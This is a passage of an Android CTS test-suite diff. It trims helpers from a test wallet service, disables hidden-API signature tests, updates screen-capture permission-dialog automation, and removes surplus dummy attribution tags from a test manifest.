-        Log.i(TAG, "onWalletDismissed");
-        sWalletDismissed = true;
-        sRequestCountDownLatch.countDown();
-    }
-
     public static void sendEvent(WalletServiceEvent event) {
         TestQuickAccessWalletService service = sServiceRef.get();
         if (service != null) {
             service.sendWalletServiceEvent(event);
         }
     }
-
-    public static List<SelectWalletCardRequest> getSelectRequests() {
-        return new ArrayList<>(sSelectWalletCardRequests);
-    }
-
-    public static void setWalletCardsResponse(GetWalletCardsResponse response) {
-        sWalletCardsResponse = response;
-    }
-
-    public static void setWalletCardsError(GetWalletCardsError error) {
-        sWalletCardsError = error;
-    }
-
-    public static boolean isWalletDismissed() {
-        return sWalletDismissed;
-    }
-
-    public static void setExpectedRequestCount(int countdown) {
-        sRequestCountDownLatch = new CountDownLatch(countdown);
-    }
-
-    public static void awaitRequests(long timeout, TimeUnit timeUnit) throws InterruptedException {
-        sRequestCountDownLatch.await(timeout, timeUnit);
-    }
-
-    public static void setExpectedBindCount(int count) {
-        sBindCounter = new CountDownLatch(count);
-    }
-
-    public static void awaitBinding(long timeout, TimeUnit unit) throws InterruptedException {
-        sBindCounter.await(timeout, unit);
-    }
-
-    public static void setExpectedUnbindCount(int count) {
-        sUnbindCounter = new CountDownLatch(count);
-    }
-
-    public static void awaitUnbinding(long timeout, TimeUnit unit) throws InterruptedException {
-        sUnbindCounter.await(timeout, unit);
-    }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 442ce2c..dfd25b6 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -67,12 +67,17 @@
     private final static Predicate<DexMember> FIELD_FILTER =
             dexMember -> (dexMember instanceof DexField);
 
+    // All tests here are currently skipped. If any gets enabled, the timeout
+    // for the first test to run needs to be sufficiently large on it to allow
+    // for loadFilters() to complete.
     @Test(timeout = 900000)
+    @Ignore("b/301075649")
     public void testSignatureMethodsThroughReflection() {
         doTestSignature(METHOD_FILTER,/* reflection= */ true, /* jni= */ false);
     }
 
     @Test
+    @Ignore("b/301075649")
     public void testSignatureMethodsThroughJni() {
         doTestSignature(METHOD_FILTER, /* reflection= */ false, /* jni= */ true);
     }
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
index eb36adc..860d539 100644
--- a/tests/signature/api-check/system-annotation/Android.bp
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -34,7 +34,10 @@
 
     use_embedded_native_libs: false,
     test_suites: [
-        "cts",
+        // b/307877675 this test can no longer be correctly implemented with Trunk Stable.
+        // TODO: remove this completely. For now, we just remove it from cts with an hope
+        // that we may be able to fix this in the future.
+        // "cts",
         "general-tests",
     ],
 }
diff --git a/tests/surfacecontrol/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/surfacecontrol/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index a084a8f..01515fe 100644
--- a/tests/surfacecontrol/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/surfacecontrol/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -25,6 +25,8 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.Insets;
 import android.graphics.Point;
@@ -41,8 +43,12 @@
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.util.DisplayMetrics;
 import android.util.Log;
@@ -95,6 +101,11 @@
     private static final long START_CAPTURE_DELAY_MS = 4000;
 
     private static final String ACCEPT_RESOURCE_ID = "android:id/button1";
+    private static final String SYSTEM_UI_PACKAGE = "com.android.systemui";
+    private static final String SPINNER_RESOURCE_ID =
+            SYSTEM_UI_PACKAGE + ":id/screen_share_mode_spinner";
+    private static final String ENTIRE_SCREEN_STRING_RES_NAME =
+            "screen_share_permission_dialog_option_entire_screen";
 
     private final Handler mHandler = new Handler(Looper.getMainLooper());
     private volatile boolean mOnEmbedded;
@@ -150,19 +161,84 @@
         mLogicalDisplaySize.set(logicalDisplaySize.x, logicalDisplaySize.y);
     }
 
+    /** The permission dialog will be auto-opened by the activity - find it and accept */
     public boolean dismissPermissionDialog() {
-        // The permission dialog will be auto-opened by the activity - find it and accept
-        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        UiObject2 acceptButton = uiDevice.wait(Until.findObject(By.res(ACCEPT_RESOURCE_ID)),
-                PERMISSION_DIALOG_WAIT_MS);
-        if (acceptButton != null) {
-            Log.d(TAG, "found permission dialog after searching all windows, clicked");
-            acceptButton.click();
-            return true;
-        } else {
-            Log.e(TAG, "Failed to find permission dialog");
+        // Ensure the device is initialized before interacting with any UI elements.
+        UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        final boolean isWatch = getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+        if (!isWatch) {
+            // if not testing on a watch device, then we need to select the entire screen option
+            // before pressing "Start recording" button.
+            if (!selectEntireScreenOption()) {
+                Log.e(TAG, "Couldn't select entire screen option");
+            }
+        }
+        return pressStartRecording(isWatch);
+    }
+
+    private boolean selectEntireScreenOption() {
+        UiObject2 spinner = waitForObject(By.res(SPINNER_RESOURCE_ID));
+        if (spinner == null) {
+            Log.e(TAG, "Couldn't find spinner to select projection mode");
             return false;
         }
+        spinner.click();
+
+        UiObject2 entireScreenOption = waitForObject(By.text(getEntireScreenString()));
+        if (entireScreenOption == null) {
+            Log.e(TAG, "Couldn't find entire screen option");
+            return false;
+        }
+        entireScreenOption.click();
+        return true;
+    }
+
+    private String getEntireScreenString() {
+        Resources sysUiResources;
+        try {
+            sysUiResources = getPackageManager().getResourcesForApplication(SYSTEM_UI_PACKAGE);
+        } catch (NameNotFoundException e) {
+            return null;
+        }
+        int resourceId =
+                sysUiResources.getIdentifier(
+                        ENTIRE_SCREEN_STRING_RES_NAME, /* defType= */ "string", SYSTEM_UI_PACKAGE);
+        return sysUiResources.getString(resourceId);
+    }
+
+    private boolean pressStartRecording(boolean isWatch) {
+        if (isWatch) {
+            scrollToStartRecordingButton();
+        }
+        UiObject2 startRecordingButton = waitForObject(By.res(ACCEPT_RESOURCE_ID));
+        if (startRecordingButton == null) {
+            Log.e(TAG, "Couldn't find start recording button");
+            return false;
+        } else {
+            Log.d(TAG, "found permission dialog after searching all windows, clicked");
+            startRecordingButton.click();
+            return true;
+        }
+    }
+
+    /** When testing on a small screen device, scrolls to a Start Recording button. */
+    private void scrollToStartRecordingButton() {
+        // Scroll down the dialog; on a device with a small screen the elements may not be visible.
+        final UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            if (!scrollable.scrollIntoView(new UiSelector().resourceId(ACCEPT_RESOURCE_ID))) {
+                Log.e(TAG, "Didn't find " + ACCEPT_RESOURCE_ID + " when scrolling");
+                return;
+            }
+            Log.d(TAG, "This is a watch; we finished scrolling down to the ui elements");
+        } catch (UiObjectNotFoundException e) {
+            Log.d(TAG, "This is a watch, but there was no scrolling (UI may not be scrollable");
+        }
+    }
+
+    private UiObject2 waitForObject(BySelector selector) {
+        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        return uiDevice.wait(Until.findObject(selector), PERMISSION_DIALOG_WAIT_MS);
     }
 
     /**
diff --git a/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml b/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
index 0df2178..2a1ce8e 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
+++ b/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
@@ -1020,9006 +1020,6 @@
   <attribution android:tag="f997" android:label="@string/dummyLabel" />
   <attribution android:tag="f998" android:label="@string/dummyLabel" />
   <attribution android:tag="f999" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1000" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1001" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1002" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1003" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1004" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1005" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1006" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1007" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1008" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1009" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1010" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1011" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1012" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1013" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1014" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1015" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1016" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1017" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1018" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1019" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1020" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1021" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1022" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1023" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1024" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1025" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1026" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1027" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1028" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1029" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1030" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1031" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1032" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1033" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1034" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1035" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1036" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1037" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1038" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1039" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1040" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1041" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1042" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1043" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1044" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1045" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1046" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1047" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1048" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1049" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1050" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1051" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1052" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1053" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1054" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1055" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1056" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1057" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1058" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1059" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1060" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1061" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1062" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1063" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1064" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1065" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1066" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1067" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1068" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1069" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1070" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1071" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1072" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1073" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1074" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1075" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1076" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1077" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1078" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1079" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1080" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1081" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1082" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1083" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1084" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1085" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1086" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1087" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1088" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1089" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1090" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1091" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1092" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1093" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1094" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1095" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1096" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1097" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1098" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1099" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1100" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1101" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1102" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1103" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1104" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1105" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1106" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1107" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1108" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1109" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1110" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1111" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1112" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1113" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1114" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1115" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1116" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1117" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1118" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1119" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1120" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1121" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1122" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1123" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1124" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1125" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1126" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1127" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1128" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1129" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1130" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1131" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1132" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1133" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1134" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1135" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1136" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1137" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1138" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1139" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1140" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1141" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1142" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1143" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1144" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1145" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1146" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1147" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1148" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1149" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1150" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1151" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1152" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1153" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1154" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1155" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1156" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1157" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1158" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1159" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1160" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1161" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1162" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1163" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1164" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1165" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1166" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1167" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1168" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1169" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1170" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1171" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1172" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1173" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1174" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1175" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1176" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1177" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1178" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1179" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1180" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1181" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1182" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1183" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1184" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1185" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1186" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1187" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1188" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1189" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1190" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1191" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1192" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1193" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1194" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1195" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1196" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1197" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1198" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1199" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1200" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1201" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1202" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1203" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1204" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1205" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1206" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1207" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1208" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1209" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1210" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1211" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1212" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1213" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1214" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1215" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1216" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1217" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1218" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1219" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1220" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1221" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1222" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1223" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1224" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1225" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1226" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1227" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1228" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1229" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1230" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1231" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1232" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1233" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1234" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1235" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1236" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1237" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1238" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1239" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1240" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1241" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1242" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1243" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1277" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1278" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1279" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1280" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1281" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1282" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1283" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1284" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1285" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1286" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1287" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1288" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1289" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1290" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1291" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1292" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1293" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1294" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1295" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1296" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1297" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1298" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1299" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1300" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1301" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1302" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1303" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1304" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1305" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1306" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1307" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1308" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1309" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1310" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1311" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f1345" android:label="@string/dummyLabel" />
